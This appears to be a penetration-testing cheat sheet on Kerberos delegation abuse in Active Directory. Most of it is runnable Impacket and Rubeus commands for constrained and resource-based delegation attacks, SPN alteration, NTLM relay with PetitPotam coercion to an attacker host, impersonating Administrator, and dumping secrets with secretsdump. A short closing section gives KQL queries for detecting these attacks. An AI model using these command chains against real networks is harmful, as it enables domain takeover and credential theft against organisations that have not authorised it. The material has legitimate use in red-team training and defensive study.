Kerberos Delegation Attacks

# Scenario: svc-sql account is constrained to delegate to MSSQLSvc/sql01.corp.local
# You have svc-sql's NTLM hash

# Impacket — request ticket as Administrator to the target SPN
getST.py -spn MSSQLSvc/sql01.corp.local -impersonate Administrator \
  -hashes :a1b2c3d4e5f6 corp.local/svc-sql

# Export and use the ticket
export KRB5CCNAME=Administrator@MSSQLSvc_sql01.corp.local@CORP.LOCAL.ccache
mssqlclient.py -k sql01.corp.local

# SPN alteration — delegate says CIFS only, but modify SPN to LDAP
# The service name in ticket is NOT validated by target
getST.py -spn 'cifs/dc01.corp.local' -impersonate Administrator \
  -altservice 'ldap/dc01.corp.local' \
  -hashes :a1b2c3d4e5f6 corp.local/svc-web

# Step 1: Create a machine account (using MachineAccountQuota)
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!' \
  -dc-ip 10.10.10.10 'corp.local/lowpriv:Password1'

# Step 2: Set RBCD — configure target to trust our fake computer
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' \
  -dc-ip 10.10.10.10 -action write 'corp.local/lowpriv:Password1'

# Step 3: Get service ticket as admin to the target via S4U
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'

# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass target-srv.corp.local
secretsdump.py -k -no-pass target-srv.corp.local

# Step 1: Start ntlmrelayx targeting LDAP, configuring RBCD
ntlmrelayx.py -t ldaps://dc01.corp.local \
  --delegate-access --escalate-user 'FAKECOMP$'

# Step 2: Coerce authentication from the target machine
python3 PetitPotam.py attacker-ip target-srv.corp.local

# ntlmrelayx sets msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-SRV$
# pointing to FAKECOMP$ — now complete the S4U chain as above

# Step 3: Get service ticket
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'

# Step 4: Profit
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass target-srv.corp.local

# When TRUSTED_TO_AUTH_FOR_DELEGATION is set, S4U2Self returns a forwardable ticket
# This means you can impersonate ANY user (including DA) without their password

# Chain: S4U2Self (get ticket as admin to self) → S4U2Proxy (forward to target SPN)
# Using Rubeus
Rubeus.exe s4u /user:svc-web /rc4:a1b2c3d4 \
  /impersonateuser:Administrator \
  /msdsspn:cifs/fileserver.corp.local /ptt

# Using Impacket
getST.py -spn cifs/fileserver.corp.local -impersonate Administrator \
  -hashes :a1b2c3d4 corp.local/svc-web

# RBCD variant — S4U2Self ticket is always forwardable for RBCD
# Even without TRUSTED_TO_AUTH_FOR_DELEGATION
getST.py -spn cifs/target.corp.local -impersonate Administrator \
  corp.local/'FAKECOMP$':'FakePass123!'

// KQL — Detect RBCD attribute modifications
SecurityEvent
| where EventID == 5136
| where ObjectClass == "computer"
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, SubjectUserName, ObjectDN, OperationType

// KQL — Detect suspicious machine account creation
SecurityEvent
| where EventID == 4741
| where SubjectUserName !endswith "$"  // Non-machine creating machine accounts
| project TimeGenerated, SubjectUserName, TargetUserName, SubjectDomainName

// KQL — Detect S4U2Proxy ticket requests (Transited Services populated)
SecurityEvent
| where EventID == 4769
| where TransitedServices != ""
| project TimeGenerated, TargetUserName, ServiceName, TransitedServices, IpAddress